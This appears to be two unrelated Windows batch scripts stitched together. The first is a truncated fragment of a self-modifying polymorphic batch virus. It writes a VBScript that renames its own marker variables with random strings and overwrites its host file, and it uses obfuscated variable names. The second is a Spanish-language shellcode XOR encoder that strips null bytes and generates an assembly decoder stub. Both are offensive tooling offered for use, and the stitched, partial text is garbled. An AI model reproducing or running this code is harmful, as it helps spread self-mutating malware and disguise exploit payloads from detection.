%gugip%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%sjdfhjs = Replace(askdajs,"kjefv",ahqiaohe)>>asjdhau.vbs %ini%
%gugip%lasdaod = Replace(sjdfhjs,"eiotf",jdfasuu)>>asjdhau.vbs %ini%
%gugip%skdnmxi = Replace(lasdaod,"gugip",dwudhqw)>>asjdhau.vbs %ini%
%gugip%sjsabwu = Replace(skdnmxi,"mgvmh",asdwdkw)>>asjdhau.vbs %ini%
%gugip%%eiotf%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%gugip%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m7%
::-443934897 %m7%
::525484065 %m7%
:: %m1%
::2020451641 %m1%
::-2018256975 %m1%
:: %m9%
::191549157 %m9%
::1635032111 %m9%
:: %m2%
::-888192539 %m2%
::1875225734 %m2%
:: %m3%
::-1117740673 %m3%
::1975806665 %m3%
:: %m0%
::1245290346 %m0%
::-39677251 %m0%
:: %m8%
::-1739870728 %m8%
::-568902610 %m8%
:: %m6%
::-1909547966 %m6%
::-1999741604 %m6%
:: %m4%
::-1847546953 %m4%
::1442194522 %m4%
:: %m5%
::-1313031124 %m5%
::-1207869762 %m5%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%mgvmh%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%eiotf% a=%a%o %mcmp%
goto :EOF)%mcmp%
%eiotf% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%eiotf%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

   @set sdjf=fictsoehnd %ini%
   @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
   @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
   @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%

:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
::	-Utiliza el metodo xor para encriptar.
:: 	-Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
::	-Identifica la existencia de bytes nulos y saltos de linea.
::	-Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
::	-Tama?o maximo de la shellcode de entrada: 61423 bytes
::	-Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&& set xor_value=9

:encode
set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode=
echo =^>  Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&& set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&& goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^>  Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%>sc.shellcode
echo =^>  Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul
	if !errorlevel!==0 (echo =^<    %%a encontrado con: xor 0x%xor_value%
		goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^>  Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo 	jmp short sc_data
echo decode_routine:
echo   	pop ebx
echo 	xor ecx,ecx
echo 	mov cx, 0x%hex: =%
echo 	sub cx, 0x1010
echo decode_loop:
echo 	xor byte [ebx], 0x%xor_value%
echo 	inc ebx
echo 	loop decode_loop
echo 	jmp short shellcode
echo sc_data:
echo 	call decode_routine
echo shellcode:)>%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&& echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&& echo ^>Proceso finalizado^<

goto:eof
:err
echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof

:d2h
set dec=%1&& set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&& goto:EOF